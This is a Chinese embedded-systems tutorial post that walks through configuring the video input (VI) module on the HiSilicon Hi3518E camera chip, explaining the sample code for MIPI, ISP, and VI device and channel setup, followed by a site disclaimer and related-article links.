第二季5:配置视频捕获模块(step3:VI模块)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。

前言

本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“配置视频捕获模块”。

分析方法上,我们首先介绍VI模块相关的宽动态、设备、通道等概念,然后绘制VI模块的函数调用关系图谱,接着讲解具体的代码细节。学习效果上,要把控全局,掌握一些新的概念和对应的数据结构,理解关键操作在哪里设置,将来需要修改的时候能找到地方。

一、VI模块的相关概念

1、离线/在线模式

VI和VPSS的协作模式分为以下 2 种:

VI/VPSS 离线模式,是指 VI 进行时序解析后将图像数据写出到 DDR,VPSS 从DDR 中载入 VI 采集的数据进行图像处理,是传统 Hi3518/Hi3520D 等芯片的VI/VPSS 的协作模式。

VI/VPSS 在线模式,是指 VI 进行时序解析后直接在芯片内部将数据传递到 VPSS,中间无 DDR 写出的过程。在线模式可以省一定的带宽和内存,降低端到端的延时。需要注意的是,在线模式时,因为 VI 不写出数据到 DDR,无法进行CoverEx、OverlayEx、 Rotate、 LDC 等操作,需要在 VPSS 各通道写出后再进行Rotate/LDC 等处理,而且有些功能只在离线下能支持,比如 DIS。

这两种模式的切换可以由 load 脚本(即博客第4季3:Hi3518e的sensor接口引脚复用设置中的脚本文件load3518e)中的参数 vi_vpss_online来控制。如下所示,在insert_ko()函数中有:

insert_ko()
{# sys configsys_config;# driver loadinsmod mmz.ko mmz=anonymous,0,$mmz_start,$mmz_size anony=1 || report_errorinsmod hi_media.koinsmod hi3518e_base.koinsmod hi3518e_sys.ko vi_vpss_online=$b_arg_online sensor=$SNS_TYPE//这里#省略部分代码}

我们可以在调用load3518e文件时传入参数offline,如果不设置这个参数,则默认为online。

我们做实验时都是没有设置这个参数的,因此都是online的。

2、VI模块的功能

通过 BT656/601/1120 接口或 DC 接口(即并口)、MIPI Rx(含 MIPI 接口、LVDS 接口和 HISPI 接口)接收视频数据。当工作在离线模式时,将接收到的数据存入到指定的内存区域;当工作在在线模式时,VI会将数据直接送给 VPSS。在此过程中,VI 模块可以对接收到的原始视频图像数据进行裁剪等处理,并实现一路原始视频图像输入,输出一路视频图像功能(VI设备只有一个且它的通道只有一个)。

3、VI模块的组成

VI模块包含三大内容:和sensor对接的部分(采用什么接口等等内容)、ISP、VI设备和通道。

其中ISP是“ image signal process ”的缩写,即图像信号处理。HI3518E内部集成了ISP硬件单元,这个ISP单元在功能上隶属于VI模块。

HI3518E的硬件单元功能框图如下,可知HI3518E芯片只有一个VI设备(即Dev0),它支持上面提到的那些接口的输入。注意,VI设备不是sensor,它是HI3518E内部的硬件单元。

HI3518E的VI通道功能框图如下。这个VI设备只包含一个物理通道(即Chn0)。它支持720@30、1080@30等典型分辨率。这个物理通道(Chn0)和对应的VI设备(Dev0)是固定绑定的, 不能改变它们的绑定关系。HI3518E最多支持16个扩展通道,它们是物理通道的扩展(它们的数据来源于物理通道),主要实现缩放功能。

4、Sensor与SoC之间的接口

Sensor与SoC之间的接口主要包括MIPI、LVDS、DC(即并口),具体介绍见博客第4季2:并口、MIPI、LVDS的简介。

我们的AR0130和OV9712,和HI3518E之间的数据接口就是DC,而非MIPI。

5、宽动态(WDR)

简单地理解,宽动态技术即同一幅图的不同区域,其曝光程度不一样。

具体介绍见宽动态 (WDR)介绍和理解_Mr.TangR的博客。

实现宽动态这个功能需要硬件的支持,有些sensor支持,有些sensor不支持,比如我们的AR0130和OV9712就不支持这个功能。

 

二、VI模块的函数调用关系

VI模块的函数调用关系如下所示(或者见链接)。

SAMPLE_COMM_VI_StartViIsSensorInput//此函数检测是否sensor输入,因为有的可能是其他输入方式SAMPLE_COMM_VI_StartIspAndVistep1:SAMPLE_COMM_VI_StartMIPI//此函数操作sensor驱动中的ioctl函数,对sensor进行必要的初始化SAMPLE_COMM_VI_SetMipiAttrfd = open("/dev/hi_mipi", O_RDWR);ioctl(fd, HI_MIPI_SET_DEV_ATTR, pstcomboDevAttr)step2:SAMPLE_COMM_ISP_Init//此函数初始化内部的ISP单元sensor_register_callback//…………具体介绍在第4季4篇章。此函数在sensor的驱动里package\mpp\component\isp\sensor\ar0130\ar0130_cmos.c,可以看文档《ISP_3A开发指南.pdf》HI_MPI_AE_Register//此函数注册AE单元,AE即自动曝光HI_MPI_AWB_Register//此函数注册AWB单元,AWB即白平衡HI_MPI_AF_Register//此函数注册自动对焦(AF)单元HI_MPI_ISP_MemInit//此函数给ISP单元分配必要的内存HI_MPI_ISP_SetWDRMode//此函数设置宽动态相关属性HI_MPI_ISP_SetPubAttr//此函数通过传参(函数前填充了参数内容)告知ISP单元sensor的一些属性以便ISPHI_MPI_ISP_Init//此函数初始化ISPstep3:SAMPLE_COMM_ISP_Run//此函数通过创建线程,让ISP运行pthread_create(&gs_IspPid, &attr, (void* (*)(void*))Test_ISP_Run, NULL)Test_ISP_RunHI_MPI_ISP_Runstep4:SAMPLE_COMM_VI_StartDev//此函数打开(采集图像的)设备HI_MPI_VI_SetDevAttr//设置dev的属性HI_MPI_ISP_GetWDRModeHI_MPI_VI_SetWDRAttrHI_MPI_VI_EnableDev//启动dev单元step5:SAMPLE_COMM_VI_StartChn//此函数打开通道HI_MPI_VI_SetChnAttr//设置通道属性HI_MPI_VI_SetRotateHI_MPI_VI_EnableChn//打开通道

由此可知,该模块涉及以下几个步骤:

  • Sensor的初始化操作
  • ISP单元的初始化与运行操作(注册3A、设置宽动态、初始化ISP、运行 ISP等内容)
  • 打开采集图像的设备(设置设备的属性,然后启动设备)
  • 打开通道(设置通道的属性,然后打开通道)

下面我们将详细介绍这几个步骤涉及到的概念与代码细节。

 

三、VI模块代码详解

1、VI模块的整体代码

其中stViConfig这个变量的数据类型是SAMPLE_VI_CONFIG_S,其成员enViMode表示摄像头sensor的种类,不同sensor有着不同的分辨率和帧率;enRotate表示是否旋转图像;enNorm表示图像制式;enViChnSet表示是否将图像flip或者mirror。具体介绍见博客内容第二季4:MPP模块的初始化。

    /******************************************step 3: start vi dev & chn to capture******************************************/stViConfig.enViMode   = SENSOR_TYPE;//sensor的类型定义在Makefile.param文件中stViConfig.enRotate   = ROTATE_NONE;//图像是否旋转stViConfig.enNorm     = VIDEO_ENCODING_MODE_AUTO;//图像制式stViConfig.enViChnSet = VI_CHN_SET_NORMAL;//是否flip或mirrorstViConfig.enWDRMode  = WDR_MODE_NONE;//设置宽动态相关内容s32Ret = SAMPLE_COMM_VI_StartVi(&stViConfig);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("start vi failed!\n");goto END_VENC_MJPEG_JPEG_1;}

SAMPLE_COMM_VI_StartVi函数位于sample_comm_venc.c文件,代码内容如下。

HI_S32 SAMPLE_COMM_VI_StartVi(SAMPLE_VI_CONFIG_S* pstViConfig)
{HI_S32 s32Ret = HI_SUCCESS;SAMPLE_VI_MODE_E enViMode;  if(!pstViConfig){SAMPLE_PRT("%s: null ptr\n", __FUNCTION__);return HI_FAILURE;}enViMode = pstViConfig->enViMode;if(!IsSensorInput(enViMode)){s32Ret = SAMPLE_COMM_VI_StartBT656(pstViConfig);//从其他渠道,比如电视图像信号}else{s32Ret = SAMPLE_COMM_VI_StartIspAndVi(pstViConfig);//此处是sensor输入的,我们分析这个路线}return s32Ret; 
}

其中IsSensorInput函数内部通过根据传参是否为某个具体型号的sensor,来判断图像数据是否为sensor输入,这里不再赘述。SAMPLE_COMM_VI_StartIspAndVi函数是真正开启VI模块的函数,我们将详细分析。

2、函数SAMPLE_COMM_VI_StartIspAndVi的分析

函数SAMPLE_COMM_VI_StartIspAndVi位于sample_comm_venc.c文件中,具体内容如下。

HI_S32 SAMPLE_COMM_VI_StartIspAndVi(SAMPLE_VI_CONFIG_S* pstViConfig)
{HI_S32 i, s32Ret = HI_SUCCESS;VI_DEV ViDev;VI_CHN ViChn;HI_U32 u32DevNum = 1;HI_U32 u32ChnNum = 1;SIZE_S stTargetSize;RECT_S stCapRect;SAMPLE_VI_MODE_E enViMode;if(!pstViConfig){SAMPLE_PRT("%s: null ptr\n", __FUNCTION__);return HI_FAILURE;}enViMode = pstViConfig->enViMode;/******************************************step 1: mipi configure******************************************/s32Ret = SAMPLE_COMM_VI_StartMIPI(pstViConfig);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("%s: MIPI init failed!\n", __FUNCTION__);return HI_FAILURE;}     /******************************************step 2: configure sensor and ISP (include WDR mode).note: you can jump over this step, if you do not use Hi3516A interal isp. ******************************************/s32Ret = SAMPLE_COMM_ISP_Init(pstViConfig->enWDRMode);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("%s: Sensor init failed!\n", __FUNCTION__);return HI_FAILURE;}/******************************************step 3: run isp thread note: you can jump over this step, if you do not use Hi3516A interal isp.******************************************/s32Ret = SAMPLE_COMM_ISP_Run();if (HI_SUCCESS != s32Ret){SAMPLE_PRT("%s: ISP init failed!\n", __FUNCTION__);/* disable videv */return HI_FAILURE;}/******************************************************step 4 : config & start vicap dev******************************************************/for (i = 0; i < u32DevNum; i++){ViDev = i;                    //设备号   设备类型s32Ret = SAMPLE_COMM_VI_StartDev(ViDev, enViMode);if (HI_SUCCESS != s32Ret)     //这里的设备,也就是sensor。{SAMPLE_PRT("%s: start vi dev[%d] failed!\n", __FUNCTION__, i);return HI_FAILURE;}}/******************************************************* Step 5: config & start vicap chn (max 1) ******************************************************/for (i = 0; i < u32ChnNum; i++){ViChn = i;stCapRect.s32X = 0;stCapRect.s32Y = 0;switch (enViMode){case APTINA_9M034_DC_720P_30FPS:case APTINA_AR0130_DC_720P_30FPS:case SONY_IMX222_DC_720P_30FPS:case OMNIVISION_OV9712_DC_720P_30FPS:case OMNIVISION_OV9732_DC_720P_30FPS:case OMNIVISION_OV9750_MIPI_720P_30FPS:case OMNIVISION_OV9752_MIPI_720P_30FPS:stCapRect.u32Width = 1280;stCapRect.u32Height = 720;break;        case SONY_IMX222_DC_1080P_30FPS:case APTINA_AR0230_HISPI_1080P_30FPS:case PANASONIC_MN34222_MIPI_1080P_30FPS:case OMNIVISION_OV2718_MIPI_1080P_25FPS:stCapRect.u32Width  = 1920;stCapRect.u32Height = 1080;break;default:stCapRect.u32Width  = 1920;stCapRect.u32Height = 1080;break;}stTargetSize.u32Width = stCapRect.u32Width;stTargetSize.u32Height = stCapRect.u32Height;s32Ret = SAMPLE_COMM_VI_StartChn(ViChn, &stCapRect, &stTargetSize, pstViConfig);if (HI_SUCCESS != s32Ret){SAMPLE_COMM_ISP_Stop();return HI_FAILURE;}}return s32Ret;
}

可知该函数将整个过程划分为5个步骤,具体分析如下。 

(1)step1:配置MIPI

这一步主要是函数SAMPLE_COMM_VI_StartMIPI(pstViConfig)。其中pstViConfig变量是上层函数传过来的、指向SAMPLE_VI_CONFIG_S类型变量stViConfig的指针。

该函数又调用SAMPLE_COMM_VI_SetMipiAttr(pstViConfig),后者函数内容如下:

HI_S32 SAMPLE_COMM_VI_SetMipiAttr(SAMPLE_VI_CONFIG_S* pstViConfig)
{HI_S32 fd;combo_dev_attr_t *pstcomboDevAttr = NULL;/* mipi reset unrest */fd = open("/dev/hi_mipi", O_RDWR);if (fd < 0){printf("warning: open hi_mipi dev failed\n");return -1;}printf("=============SAMPLE_COMM_VI_SetMipiAttr enWDRMode: %d\n", pstViConfig->enWDRMode);if ( pstViConfig->enViMode == APTINA_AR0230_HISPI_1080P_30FPS ){pstcomboDevAttr = &HISPI_4lane_SENSOR_AR0230_12BIT_ATTR;}if ( pstViConfig->enViMode == PANASONIC_MN34222_MIPI_1080P_30FPS ){pstcomboDevAttr = &MIPI_2lane_SENSOR_MN34222_12BIT_NOWDR_ATTR;}if ( (pstViConfig->enViMode == OMNIVISION_OV9752_MIPI_720P_30FPS)|| (pstViConfig->enViMode == OMNIVISION_OV9750_MIPI_720P_30FPS) ){pstcomboDevAttr = &MIPI_2lane_SENSOR_OV9752_12BIT_NOWDR_ATTR;}if ( pstViConfig->enViMode ==  OMNIVISION_OV2718_MIPI_1080P_25FPS ){pstcomboDevAttr = &MIPI_4lane_SENSOR_OV2718_12BIT_NOWDR_ATTR;}if ( (pstViConfig->enViMode == APTINA_9M034_DC_720P_30FPS)|| (pstViConfig->enViMode == APTINA_AR0130_DC_720P_30FPS)|| (pstViConfig->enViMode == SONY_IMX222_DC_1080P_30FPS)|| (pstViConfig->enViMode == SONY_IMX222_DC_720P_30FPS)|| (pstViConfig->enViMode == OMNIVISION_OV9712_DC_720P_30FPS)|| (pstViConfig->enViMode == OMNIVISION_OV9732_DC_720P_30FPS) ){pstcomboDevAttr = &MIPI_CMOS3V3_ATTR;}if (NULL == pstcomboDevAttr){printf("Func %s() Line[%d], unsupported enViMode: %d\n", __FUNCTION__, __LINE__, pstViConfig->enViMode);close(fd);return HI_FAILURE;   }if (ioctl(fd, HI_MIPI_SET_DEV_ATTR, pstcomboDevAttr)){printf("set mipi attr failed\n");close(fd);return HI_FAILURE;}close(fd);return HI_SUCCESS;
}

函数开头定义了一个combo_dev_attr_t类型的指针变量pstcomboDevAttr,然后根据sensor的型号来给这个指针变量赋值,赋值的内容已经代码写好(这些内容厂商一般都提供的)。

然后打开名叫“/dev/hi_mipi”的设备文件,利用ioctl函数,以fd、pstcomboDevAttr、HI_MIPI_SET_DEV_ATTR作为参数,对MIPI接口进行配置。值得一提的是,我们的sensor和HI3518E之间的数据接口不是MIPI,这里的MIPI应该是对sensor和HI3518E之间的接口的一种统称而已,并不是说接口就是MIPI。这里配置MIPI,其实是对sensor进行一些初始化。

combo_dev_attr_t类型定义如下:

typedef struct
{input_mode_t          input_mode;               /* input mode: MIPI/LVDS/SUBLVDS/HISPI/DC */union{mipi_dev_attr_t     mipi_attr;lvds_dev_attr_t     lvds_attr;};
}combo_dev_attr_t;

(2)step2:初始化ISP 

这一步主要是函数SAMPLE_COMM_ISP_Init(pstViConfig->enWDRMode)。

其中pstViConfig变量指向stViConfig变量的指针,这个变量的成员enWDRMode表示宽动态相关的内容,定义如下。

typedef enum hiWDR_MODE_E
{WDR_MODE_NONE = 0,WDR_MODE_BUILT_IN,WDR_MODE_2To1_LINE,WDR_MODE_2To1_FRAME,WDR_MODE_2To1_FRAME_FULL_RATE,WDR_MODE_3To1_LINE,WDR_MODE_3To1_FRAME,WDR_MODE_3To1_FRAME_FULL_RATE,WDR_MODE_4To1_LINE,WDR_MODE_4To1_FRAME,WDR_MODE_4To1_FRAME_FULL_RATE,WDR_MODE_BUTT,
} WDR_MODE_E;

我们来看一下函数SAMPLE_COMM_ISP_Init的内容。根据本文第一节,该函数的调用关系如下:

step2:SAMPLE_COMM_ISP_Init//此函数初始化内部的ISP单元sensor_register_callback//具体介绍见第4季4。//此函数在sensor驱动mpp\component\isp\sensor\ar0130\ar0130_cmos.c里//具体介绍见文档《ISP_3A开发指南.pdf》HI_MPI_AE_Register//此函数注册AE单元,AE即自动曝光HI_MPI_AWB_Register//此函数注册AWB单元,AWB即白平衡HI_MPI_AF_Register//此函数注册自动对焦(AF)单元HI_MPI_ISP_MemInit//此函数给ISP单元分配必要的内存HI_MPI_ISP_SetWDRMode//此函数设置宽动态相关属性HI_MPI_ISP_SetPubAttr//此函数通过传参告知ISP单元sensor的一些属性以便ISPHI_MPI_ISP_Init//此函数初始化ISP

首先定义了ISP_PUB_ATTR_S结构体变量stPubAttr,以及ALG_LIB_S结构体变量stLib。这两个结构体的定义如下:

typedef struct hiISP_PUB_ATTR_S
{RECT_S          stWndRect;      /* RW. */HI_FLOAT        f32FrameRate;   /* RW. */ISP_BAYER_FORMAT_E  enBayer;    /* RW. */
} ISP_PUB_ATTR_S;typedef struct hiALG_LIB_S
{HI_S32  s32Id;HI_CHAR acLibName[20];
} ALG_LIB_S;

然后先填充stLib变量的成员,用来先后注册AE、AWB、AF单元。

接着定义ISP_WDR_MODE_S结构体变量stWdrMode,并填充其成员enWDRMode,然后利用HI_MPI_ISP_SetWDRMode函数来设置宽动态的内容。ISP_WDR_MODE_S结构体的定义如下:

typedef struct hiISP_WDR_MODE_S
{WDR_MODE_E  enWDRMode;
} ISP_WDR_MODE_S;

接着根据sensor型号来填充stPubAttr变量的成员,然后调用HI_MPI_ISP_SetPubAttr函数来设置。

最后调用HI_MPI_ISP_Init函数来初始化ISP。

(3)step3:运行ISP

这一步主要是开启Test_ISP_Run线程来运行ISP。

/******************************************************************************
* funciton : ISP Run
******************************************************************************/
HI_S32 SAMPLE_COMM_ISP_Run()
{pthread_attr_t attr;pthread_attr_init(&attr);pthread_attr_setstacksize(&attr, 4096 * 1024);if (0 != pthread_create(&gs_IspPid, &attr, (void* (*)(void*))Test_ISP_Run, NULL)){printf("%s: create isp running thread failed!\n", __FUNCTION__);pthread_attr_destroy(&attr);return HI_FAILURE;}usleep(1000);pthread_attr_destroy(&attr);
}

Test_ISP_Run线程中调用HI_MPI_ISP_Run(IspDev)函数(参数IspDev值为0),函数内容如下:

/*****************************************************************************Prototype       : HI_MPI_ISP_RunDescription     : isp firmware recurrent task, always run in a single thread.Input           : I_VOID  **Output          : NoneReturn Value    : Process         : Note             : History         1.Date         : 2011/1/13Author       : x00100808Modification : Created function*****************************************************************************/
HI_S32 HI_MPI_ISP_Run(ISP_DEV IspDev)
{HI_S32 s32Ret;HI_U32 u32IntStatus = 0;HI_BOOL bEn;HI_U32 u32WDRmode;ISP_CTX_S *pstIspCtx = HI_NULL;/* 1. check status */ISP_CHECK_DEV(IspDev);ISP_GET_CTX(IspDev, pstIspCtx);ISP_CHECK_POINTER(pstIspCtx);    ISP_CHECK_OPEN(IspDev);ISP_CHECK_SENSOR_REGISTER(IspDev);ISP_CHECK_MEM_INIT(IspDev);ISP_CHECK_ISP_INIT(IspDev);if (HI_TRUE == pstIspCtx->stIspParaRec.bRun){ISP_TRACE(HI_DBG_ERR, "ISP[%d] Run failed!\n", IspDev);return HI_ERR_ISP_ILLEGAL_PARAM;}pthread_mutex_lock(&pstIspCtx->stLock);/* Sometimes HI_MPI_ISP_Run thread is not scheduled to run before calling HI_MPI_ISP_Exit. */if (HI_FALSE == pstIspCtx->stIspParaRec.bRunEn){pthread_mutex_unlock(&pstIspCtx->stLock);return HI_SUCCESS;}/* 2. enable interrupt */bEn = HI_TRUE;if (ioctl(g_as32IspFd[IspDev], ISP_SET_INT_ENABLE, &bEn) < 0){ISP_TRACE(HI_DBG_ERR, "Enable ISP[%d] interrupt failed!\n", IspDev);pthread_mutex_unlock(&pstIspCtx->stLock);return -1;}pstIspCtx->stIspParaRec.bRun = HI_TRUE;pthread_mutex_unlock(&pstIspCtx->stLock);while (1){pthread_mutex_lock(&pstIspCtx->stLock);if (HI_FALSE == pstIspCtx->stIspParaRec.bRunEn){pthread_mutex_unlock(&pstIspCtx->stLock);break;}/*change  resolution  */ISP_SwitchImageMode(IspDev);u32WDRmode = hi_ext_system_sensor_wdr_mode_read();/* swtich linear/WDR mode, width/height, fps  */if (pstIspCtx->u8SnsWDRMode != u32WDRmode){pstIspCtx->u8SnsWDRMode = u32WDRmode;ISP_SwitchWDRMode(IspDev);}{u32IntStatus = 0;/* 3. waked up by the interrupt */s32Ret = ioctl(g_as32IspFd[IspDev], ISP_GET_FRAME_EDGE, &u32IntStatus);if (s32Ret){}else{/* 4.isp firmware calculate, include AE/AWB, etc. */if (ISP_1ST_INT & u32IntStatus){ISP_Run(IspDev);}}}pthread_mutex_unlock(&pstIspCtx->stLock);usleep(10);}/* 8. disable interrupt */bEn = HI_FALSE;if (ioctl(g_as32IspFd[IspDev], ISP_SET_INT_ENABLE, &bEn) < 0){ISP_TRACE(HI_DBG_ERR, "Disable ISP[%d] interrupt failed!\n", IspDev);}return HI_SUCCESS;
}

(4)step4:配置与打开VI设备

这一步涉及函数SAMPLE_COMM_VI_StartDev(ViDev, enViMode),其中ViDev表示设备号(设备号也就是sensor号,这里只有一个,为0),enViMode表示sensor的型号。

我们来看一下SAMPLE_COMM_VI_StartDev函数的内部。

/*****************************************************************************
* function : star vi dev (cfg vi_dev_attr; set_dev_cfg; enable dev)
*****************************************************************************/
HI_S32 SAMPLE_COMM_VI_StartDev(VI_DEV ViDev, SAMPLE_VI_MODE_E enViMode)
{HI_S32 s32Ret;HI_S32 s32IspDev = 0;ISP_WDR_MODE_S stWdrMode;VI_DEV_ATTR_S  stViDevAttr;//重点关注这个设备属性结构体memset(&stViDevAttr,0,sizeof(stViDevAttr));//接下来将填充设备属性结构体的内容switch (enViMode){//省略部分代码case APTINA_AR0130_DC_720P_30FPS:memcpy(&stViDevAttr,&DEV_ATTR_9M034_DC_720P_BASE,sizeof(stViDevAttr));break;//省略部分代码case OMNIVISION_OV9712_DC_720P_30FPS:case OMNIVISION_OV9732_DC_720P_30FPS:memcpy(&stViDevAttr,&DEV_ATTR_OV9732_DC_720P_BASE,sizeof(stViDevAttr));stViDevAttr.stDevRect.s32X = 0;stViDevAttr.stDevRect.s32Y = 0;stViDevAttr.stDevRect.u32Width  = 1280;stViDevAttr.stDevRect.u32Height = 720;break;case OMNIVISION_OV9750_MIPI_720P_30FPS:case OMNIVISION_OV9752_MIPI_720P_30FPS:memcpy(&stViDevAttr,&DEV_ATTR_MIPI_BASE,sizeof(stViDevAttr));stViDevAttr.stDevRect.s32X = 0;stViDevAttr.stDevRect.s32Y = 0;stViDevAttr.stDevRect.u32Width  = 1280;stViDevAttr.stDevRect.u32Height = 720;break;case OMNIVISION_OV2718_MIPI_1080P_25FPS:memcpy(&stViDevAttr,&DEV_ATTR_MIPI_BASE,sizeof(stViDevAttr));stViDevAttr.stDevRect.s32X = 0;stViDevAttr.stDevRect.s32Y = 0;stViDevAttr.stDevRect.u32Width  = 1920;stViDevAttr.stDevRect.u32Height = 1080;break;default:memcpy(&stViDevAttr,&DEV_ATTR_LVDS_BASE,sizeof(stViDevAttr));}s32Ret = HI_MPI_VI_SetDevAttr(ViDev, &stViDevAttr);//设置设备的属性if (s32Ret != HI_SUCCESS){SAMPLE_PRT("HI_MPI_VI_SetDevAttr failed with %#x!\n", s32Ret);return HI_FAILURE;}if ( (SAMPLE_VI_MODE_BT1120_1080P != enViMode)&&(SAMPLE_VI_MODE_BT1120_720P != enViMode) ){s32Ret = HI_MPI_ISP_GetWDRMode(s32IspDev, &stWdrMode);if (s32Ret != HI_SUCCESS){SAMPLE_PRT("HI_MPI_ISP_GetWDRMode failed with %#x!\n", s32Ret);return HI_FAILURE;}VI_WDR_ATTR_S stWdrAttr;stWdrAttr.enWDRMode = stWdrMode.enWDRMode;stWdrAttr.bCompress = HI_FALSE;s32Ret = HI_MPI_VI_SetWDRAttr(ViDev, &stWdrAttr);//设置设备的宽动态if (s32Ret){SAMPLE_PRT("HI_MPI_VI_SetWDRAttr failed with %#x!\n", s32Ret);return HI_FAILURE;}}s32Ret = HI_MPI_VI_EnableDev(ViDev);//启动设备if (s32Ret != HI_SUCCESS){SAMPLE_PRT("HI_MPI_VI_EnableDev failed with %#x!\n", s32Ret);return HI_FAILURE;}return HI_SUCCESS;
}

因为这一步是要配置与打开设备,所以首先定义了一个设备属性结构体变量stViDevAttr,然后根据sensor的型号来填充stViDevAttr的成员。填充时使用 memcpy 函数,它的参数1就是stViDevAttr这个结构体,参数2表示具体型号的sensor的设备属性(具体属性已经写死在代码里),参数2的内容将拷贝到参数1中。完成stViDevAttr这个结构体部分成员的填充后,调用HI_MPI_VI_SetDevAttr函数来设置设备的属性。

其中,设备属性结构体的定义如下。

/* the attributes of a VI device */
typedef struct hiVI_DEV_ATTR_S
{VI_INTF_MODE_E      enIntfMode;         /* Interface mode */VI_WORK_MODE_E      enWorkMode;         /*1-, 2-, or 4-channel multiplexed work mode */HI_U32              au32CompMask[2];    /* Component mask */VI_SCAN_MODE_E      enScanMode;         /* Input scanning mode (progressive or interlaced) */HI_S32              s32AdChnId[4];      /* AD channel ID. Typically, the default value -1 is recommended *//* The below members must be configured in BT.601 mode or DC mode and are invalid in other modes */VI_DATA_YUV_SEQ_E   enDataSeq;          /* Input data sequence (only the YUV format is supported) */VI_SYNC_CFG_S       stSynCfg;           /* Sync timing. This member must be configured in BT.601 mode or DC mode */VI_DATA_PATH_E      enDataPath;         /* ISP enable or bypass */VI_DATA_TYPE_E      enInputDataType;    /* RGB: CSC-709 or CSC-601, PT YUV444 disable; YUV: default yuv CSC coef PT YUV444 enable. */HI_BOOL             bDataRev;           /* Data reverse */RECT_S              stDevRect;          /* Dev capture rect */
} VI_DEV_ATTR_S;

然后定义一个宽动态相关的结构体变量stWdrAttr,接下来也是填充stWdrAttr这个结构体变量的成员,最后使用HI_MPI_VI_SetWDRAttr来设置宽动态的相关内容。

最后,调用HI_MPI_VI_EnableDev函数来启动设备。

(5)step5:配置与打开VI通道

step5首先根据sensor的型号填充结构体变量stCapRect、stTargetSize的成员,这两个结构体变量成员都包括图像分辨率里的w与h,这里即填充w与h。

然后调用SAMPLE_COMM_VI_StartChn(ViChn, &stCapRect, &stTargetSize, pstViConfig)来打开通道。其中参数1的ViChn表示要打开的通道编号(这里只有一个通道,编号为0),参数2和参数3都是输出型参数,参数4是在上一层函数传过来的stViConfig变量,这个变量含有VI模块相关的设置信息(见本文第二部分的描述)。

我们来看一下这个函数的内容。

/*****************************************************************************
* function : star vi chn
*****************************************************************************/
HI_S32 SAMPLE_COMM_VI_StartChn(VI_CHN ViChn, RECT_S *pstCapRect, SIZE_S *pstTarSize, SAMPLE_VI_CONFIG_S* pstViConfig)
{HI_S32 s32Ret;VI_CHN_ATTR_S stChnAttr;ROTATE_E enRotate = ROTATE_NONE;SAMPLE_VI_CHN_SET_E enViChnSet = VI_CHN_SET_NORMAL;if(pstViConfig){enViChnSet = pstViConfig->enViChnSet;enRotate = pstViConfig->enRotate;}/* step  5: config & start vicap dev */memcpy(&stChnAttr.stCapRect, pstCapRect, sizeof(RECT_S));stChnAttr.enCapSel = VI_CAPSEL_BOTH;/* to show scale. this is a sample only, we want to show dist_size = D1 only */stChnAttr.stDestSize.u32Width = pstTarSize->u32Width;stChnAttr.stDestSize.u32Height = pstTarSize->u32Height;stChnAttr.enPixFormat = PIXEL_FORMAT_YUV_SEMIPLANAR_420;   /* sp420 or sp422 */stChnAttr.bMirror = HI_FALSE;stChnAttr.bFlip = HI_FALSE;switch(enViChnSet){case VI_CHN_SET_MIRROR:stChnAttr.bMirror = HI_TRUE;break;case VI_CHN_SET_FLIP:stChnAttr.bFlip = HI_TRUE;break;case VI_CHN_SET_FLIP_MIRROR:stChnAttr.bMirror = HI_TRUE;stChnAttr.bFlip = HI_TRUE;break;default:break;}stChnAttr.s32SrcFrameRate = -1;stChnAttr.s32DstFrameRate = -1;stChnAttr.enCompressMode = COMPRESS_MODE_NONE;s32Ret = HI_MPI_VI_SetChnAttr(ViChn, &stChnAttr);if (s32Ret != HI_SUCCESS){SAMPLE_PRT("failed with %#x!\n", s32Ret);return HI_FAILURE;}if(ROTATE_NONE != enRotate){s32Ret = HI_MPI_VI_SetRotate(ViChn, enRotate);if (s32Ret != HI_SUCCESS){SAMPLE_PRT("HI_MPI_VI_SetRotate failed with %#x!\n", s32Ret);return HI_FAILURE;}}s32Ret = HI_MPI_VI_EnableChn(ViChn);if (s32Ret != HI_SUCCESS){SAMPLE_PRT("failed with %#x!\n", s32Ret);return HI_FAILURE;}return HI_SUCCESS;
}

由此可知,该函数首先定义通道属性结构体变量stChnAttr,然后再填充该变量的成员,接着利用HI_MPI_VI_SetChnAttr函数来设置通道属性,最后利用HI_MPI_VI_EnableChn函数来打开通道。

其中,通道属性结构体的定义如下。

/* the attributes of a VI channel */
typedef struct hiVI_CHN_ATTR_S
{RECT_S          stCapRect;          /* the capture rect (corresponding to the size of the picture captured by a VI device).For primary channels, the stCapRect's u32Width and u32Height are static attributes. That is,the value of them can be changed only after primary and secondary channels are disabled.For secondary channels, stCapRect is an invalid attribute */SIZE_S          stDestSize;         /* Target picture size.For primary channels, stDestSize must be equal to stCapRect's u32Width and u32Height,because primary channel doesn't have scale capability. Additionally, it is a staticattribute, That is, the value of stDestSize can be changed only after primary andsecondary channels are disabled.For secondary channels, stDestSize is a dynamic attribute */VI_CAPSEL_E     enCapSel;           /* Frame/field select. It is used only in interlaced mode.For primary channels, enCapSel is a static attribute */PIXEL_FORMAT_E  enPixFormat;        /* Pixel storage format. Only the formats semi-planar420 and semi-planar422 are supported */COMPRESS_MODE_E enCompressMode;     /* 256B Segment compress or no compress. */HI_BOOL         bMirror;            /* Whether to mirror */HI_BOOL         bFlip;              /* Whether to flip */HI_S32          s32SrcFrameRate;    /* Source frame rate. The value -1 indicates that the frame rate is not controlled */HI_S32          s32DstFrameRate;    /* Target frame rate. The value -1 indicates that the frame rate is not controlled */
} VI_CHN_ATTR_S;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460465.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

简化Java中的异常处理

为什么80%的码农都做不了架构师&#xff1f;>>> #1. 不需要Checked异常 Java中的Checked异常&#xff0c;可以说有弊无利&#xff0c;它除了能带来一系列的麻烦&#xff0c;能干的事情Unchecked异常都能干。 ##1.1. 代码污染 首先&#xff0c;当一个方法声明抛出一…

Linux常用命令之wget

wget&#xff1a;从网络上下载文件到当前目录。 转载于:https://www.cnblogs.com/nufangrensheng/p/3646055.html

Serv-U搭建FTP服务器

1、打开软件&#xff0c;勾选start automatically 2、点击domain&#xff0c;新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users&#xff0c;新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户&#xff0c;则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

